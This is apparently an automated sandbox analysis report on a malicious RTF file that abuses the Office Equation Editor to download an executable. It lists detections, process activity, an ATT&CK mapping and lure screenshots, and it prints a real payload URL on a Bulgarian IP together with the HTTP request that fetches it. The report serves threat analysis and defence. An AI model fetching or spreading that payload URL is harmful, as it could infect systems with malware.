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Windows Analysis Report
casseyofficefile.dot.rtf

Overview

General Information

Sample name:	casseyofficefile.dot.rtf
Analysis ID:	1570828
MD5:	e4600600fdb5ea765e9c17d3a46950d8
SHA1:	56e83b255c7921af0729f1d1314416c10dd97fe4
SHA256:	b7bcca505bb4c01e931677cc34085be7c7d1a25bd42e2b1eeb1f8fb24769cce3
Tags:	rtfuser-abuse_ch
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Initial sample is an obfuscated RTF file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Document exploit detected (process start blacklist hit)

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Equation Editor Network Connection

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3524 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3608 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 3916 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
casseyofficefile.dot.rtf	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x2f672:$obj1: \objhtml 0x2f697:$obj2: \objdata 0x2f6b1:$obj3: \objupdate

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 87.120.84.39, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3608, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3608, Protocol: tcp, SourceIp: 87.120.84.39, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3608, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3524, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: casseyofficefile.dot.rtf

Avira: detected

Multi AV Scanner detection for submitted file

Source: casseyofficefile.dot.rtf

ReversingLabs: Detection: 39%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 87.120.84.39 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: unknown

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic

TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic	TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic	TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic	TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161

Source: Joe Sandbox View

IP Address: 87.120.84.39 87.120.84.39

Source: Joe Sandbox View

ASN Name: SHARCOM-ASBG SHARCOM-ASBG

Source: global traffic

HTTP traffic detected: GET /txt/1gNxsab4efLTvZ5.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.39Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.39
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.84.39

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F86FEC3E-C301-4AE4-93AB-76AEB726DE1F}.tmp

Jump to behavior

Source: global traffic

Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.421060326.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.39/txt/1gNxsab4efLTvZ5.exe
Source: EQNEDT32.EXE, 00000002.00000002.421060326.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.39/txt/1gNxsab4efLTvZ5.exe&4
Source: EQNEDT32.EXE, 00000002.00000002.421060326.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.84.39/txt/1gNxsab4efLTvZ5.exej

System Summary

Initial sample is an obfuscated RTF file

Source: initial sample

Static file information: Filename: casseyofficefile.dot.rtf

Malicious sample detected (through community Yara rule)

Source: casseyofficefile.dot.rtf, type: SAMPLE

Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: casseyofficefile.dot.rtf, type: SAMPLE

Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal96.expl.winRTF@4/9@0/1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$sseyofficefile.dot.rtf

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9A7A.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: casseyofficefile.dot.rtf

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: casseyofficefile.dot.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\casseyofficefile.dot.rtf

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00668F60 push eax; retf	2_2_00668F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00673902 push esi; ret	2_2_00673903
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0067390A push esi; ret	2_2_0067390B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00660208 pushad ; ret	2_2_0066020A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0066C3ED push A00066C4h; ret	2_2_0066C3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006601F4 push eax; retf	2_2_006601F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0066C2DC pushad ; retn 0066h	2_2_0066C2DD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0065F996 push C9B628ECh; ret	2_2_0065F99B

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3628	Thread sleep time: -300000s >= -30000s			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3936	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	32 Exploitation for Client Execution	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
casseyofficefile.dot.rtf	39%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
casseyofficefile.dot.rtf	100%	Avira	HEUR/Rtf.Malformed

Source	Detection	Scanner	Label
http://87.120.84.39/txt/1gNxsab4efLTvZ5.exe	0%	Avira URL Cloud	safe
http://87.120.84.39/txt/1gNxsab4efLTvZ5.exe&4	0%	Avira URL Cloud	safe
http://87.120.84.39/txt/1gNxsab4efLTvZ5.exej	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://87.120.84.39/txt/1gNxsab4efLTvZ5.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://87.120.84.39/txt/1gNxsab4efLTvZ5.exej	EQNEDT32.EXE, 00000002.00000002.421060326.000000000065F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://87.120.84.39/txt/1gNxsab4efLTvZ5.exe&4	EQNEDT32.EXE, 00000002.00000002.421060326.000000000065F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.120.84.39	unknown	Bulgaria		51189	SHARCOM-ASBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570828
Start date and time:	2024-12-08 08:41:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	casseyofficefile.dot.rtf
Detection:	MAL
Classification:	mal96.expl.winRTF@4/9@0/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3608 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: casseyofficefile.dot.rtf

Simulations

Behavior and APIs

Time	Type	Description
02:42:12	API Interceptor	485x Sleep call for process: EQNEDT32.EXE modified

LLM Input / Output

Input	Output
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "08838.58.28", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to casseycoffice.dot?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "08838.58.28", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To view secured document, click here", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "The save failed due to out of memory or disk space.", "prominent_button_name": "OK", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To view secured document, click here", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "08838.58.28", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Click here to view document", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to casseycfficefile.dot?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to casseycfficefile.dot?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to casseoyfficefile.dot?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Do you want to save changes you made to casseycfficefile.dot?", "prominent_button_name": "Save", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

